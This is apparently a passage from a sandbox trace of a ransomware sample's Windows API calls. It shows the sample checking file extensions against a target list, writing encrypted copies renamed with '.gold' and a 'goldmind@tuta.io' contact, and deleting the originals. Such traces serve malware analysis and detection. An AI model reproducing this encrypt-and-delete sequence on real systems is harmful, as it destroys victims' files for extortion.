4 [0095.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.800] lstrlenW (lpString=".doc") returned 4 [0095.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString=".docx") returned 5 [0095.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.800] lstrlenW (lpString=".pdf") returned 4 [0095.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.800] lstrlenW (lpString=".xls") returned 4 [0095.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.801] lstrlenW (lpString=".xlsx") returned 5 [0095.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.801] lstrlenW (lpString=".ppt") returned 4 [0095.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.801] lstrlenW (lpString=".zip") returned 4 [0095.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.801] lstrlenW (lpString=".rar") returned 4 [0095.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.801] lstrlenW (lpString=".bz2") returned 4 [0095.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.801] lstrlenW (lpString=".7z") returned 3 [0095.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.801] lstrlenW (lpString=".dbf") returned 4 [0095.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.801] lstrlenW (lpString=".1cd") returned 4 [0095.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0095.801] lstrlenW (lpString=".jpg") returned 4 [0095.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.801] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.801] lstrlenW (lpString="FD00397_.WMF") returned 12 [0095.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.802] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=10816) returned 1 [0095.802] CloseHandle (hObject=0x190) returned 1 [0095.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0095.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.802] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.802] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.803] GetLastError () returned 0x0 [0095.803] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2a40, lpOverlapped=0x0) returned 1 [0095.804] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0095.805] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.805] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.805] SetEndOfFile (hFile=0x394) returned 1 [0095.805] CloseHandle (hObject=0x394) returned 1 [0095.805] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.805] SetEndOfFile (hFile=0x190) returned 1 [0095.807] CloseHandle (hObject=0x190) returned 1 [0095.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0095.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.807] lstrlenW (lpString=".doc") returned 4 [0095.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString=".docx") returned 5 [0095.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.808] lstrlenW (lpString=".pdf") returned 4 [0095.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString=".xls") returned 4 [0095.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.808] lstrlenW (lpString=".xlsx") returned 5 [0095.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.808] lstrlenW (lpString=".ppt") returned 4 [0095.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.808] lstrlenW (lpString=".zip") returned 4 [0095.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.808] lstrlenW (lpString=".rar") returned 4 [0095.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString=".bz2") returned 4 [0095.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString=".7z") returned 3 [0095.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.808] lstrlenW (lpString=".dbf") returned 4 [0095.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.808] lstrlenW (lpString=".1cd") returned 4 [0095.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.808] lstrlenW (lpString=".jpg") returned 4 [0095.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.808] lstrlenW (lpString=".doc") returned 4 [0095.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString=".docx") returned 5 [0095.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.808] lstrlenW (lpString=".pdf") returned 4 [0095.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.808] lstrlenW (lpString=".xls") returned 4 [0095.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.808] lstrlenW (lpString=".xlsx") returned 5 [0095.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.808] lstrlenW (lpString=".ppt") returned 4 [0095.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.809] lstrlenW (lpString=".zip") returned 4 [0095.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.809] lstrlenW (lpString=".rar") returned 4 [0095.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.809] lstrlenW (lpString=".bz2") returned 4 [0095.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.809] lstrlenW (lpString=".7z") returned 3 [0095.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.809] lstrlenW (lpString=".dbf") returned 4 [0095.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.809] lstrlenW (lpString=".1cd") returned 4 [0095.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0095.809] lstrlenW (lpString=".jpg") returned 4 [0095.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.809] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.809] lstrlenW (lpString="FD00403_.WMF") returned 12 [0095.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.810] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7878) returned 1 [0095.810] CloseHandle (hObject=0x190) returned 1 [0095.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0095.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.810] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.810] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.811] GetLastError () returned 0x0 [0095.811] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0095.813] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0095.814] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.814] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.814] SetEndOfFile (hFile=0x394) returned 1 [0095.814] CloseHandle (hObject=0x394) returned 1 [0095.814] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.814] SetEndOfFile (hFile=0x190) returned 1 [0095.816] CloseHandle (hObject=0x190) returned 1 [0095.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString=".doc") returned 4 [0095.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString=".docx") returned 5 [0095.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.818] lstrlenW (lpString=".pdf") returned 4 [0095.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString=".xls") returned 4 [0095.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.818] lstrlenW (lpString=".xlsx") returned 5 [0095.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.818] lstrlenW (lpString=".ppt") returned 4 [0095.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString=".zip") returned 4 [0095.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.818] lstrlenW (lpString=".rar") returned 4 [0095.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString=".bz2") returned 4 [0095.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString=".7z") returned 3 [0095.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString=".dbf") returned 4 [0095.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString=".1cd") returned 4 [0095.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString=".jpg") returned 4 [0095.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.818] lstrlenW (lpString=".doc") returned 4 [0095.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString=".docx") returned 5 [0095.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.818] lstrlenW (lpString=".pdf") returned 4 [0095.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.818] lstrlenW (lpString=".xls") returned 4 [0095.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.818] lstrlenW (lpString=".xlsx") returned 5 [0095.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.819] lstrlenW (lpString=".ppt") returned 4 [0095.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.819] lstrlenW (lpString=".zip") returned 4 [0095.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.819] lstrlenW (lpString=".rar") returned 4 [0095.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.819] lstrlenW (lpString=".bz2") returned 4 [0095.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.819] lstrlenW (lpString=".7z") returned 3 [0095.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.819] lstrlenW (lpString=".dbf") returned 4 [0095.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.819] lstrlenW (lpString=".1cd") returned 4 [0095.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0095.819] lstrlenW (lpString=".jpg") returned 4 [0095.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.819] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.819] lstrlenW (lpString="FD00414_.WMF") returned 12 [0095.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.820] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=11002) returned 1 [0095.820] CloseHandle (hObject=0x190) returned 1 [0095.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0095.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.820] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.820] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.821] GetLastError () returned 0x0 [0095.821] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2afa, lpOverlapped=0x0) returned 1 [0095.822] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0095.823] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.823] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.823] SetEndOfFile (hFile=0x394) returned 1 [0095.823] CloseHandle (hObject=0x394) returned 1 [0095.823] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.823] SetEndOfFile (hFile=0x190) returned 1 [0095.825] CloseHandle (hObject=0x190) returned 1 [0095.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString=".doc") returned 4 [0095.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString=".docx") returned 5 [0095.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.826] lstrlenW (lpString=".pdf") returned 4 [0095.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString=".xls") returned 4 [0095.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.826] lstrlenW (lpString=".xlsx") returned 5 [0095.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.826] lstrlenW (lpString=".ppt") returned 4 [0095.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString=".zip") returned 4 [0095.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.826] lstrlenW (lpString=".rar") returned 4 [0095.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString=".bz2") returned 4 [0095.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString=".7z") returned 3 [0095.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString=".dbf") returned 4 [0095.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString=".1cd") returned 4 [0095.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString=".jpg") returned 4 [0095.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.826] lstrlenW (lpString=".doc") returned 4 [0095.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.826] lstrlenW (lpString=".docx") returned 5 [0095.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.826] lstrlenW (lpString=".pdf") returned 4 [0095.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.827] lstrlenW (lpString=".xls") returned 4 [0095.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.827] lstrlenW (lpString=".xlsx") returned 5 [0095.827] lstrcmpiW 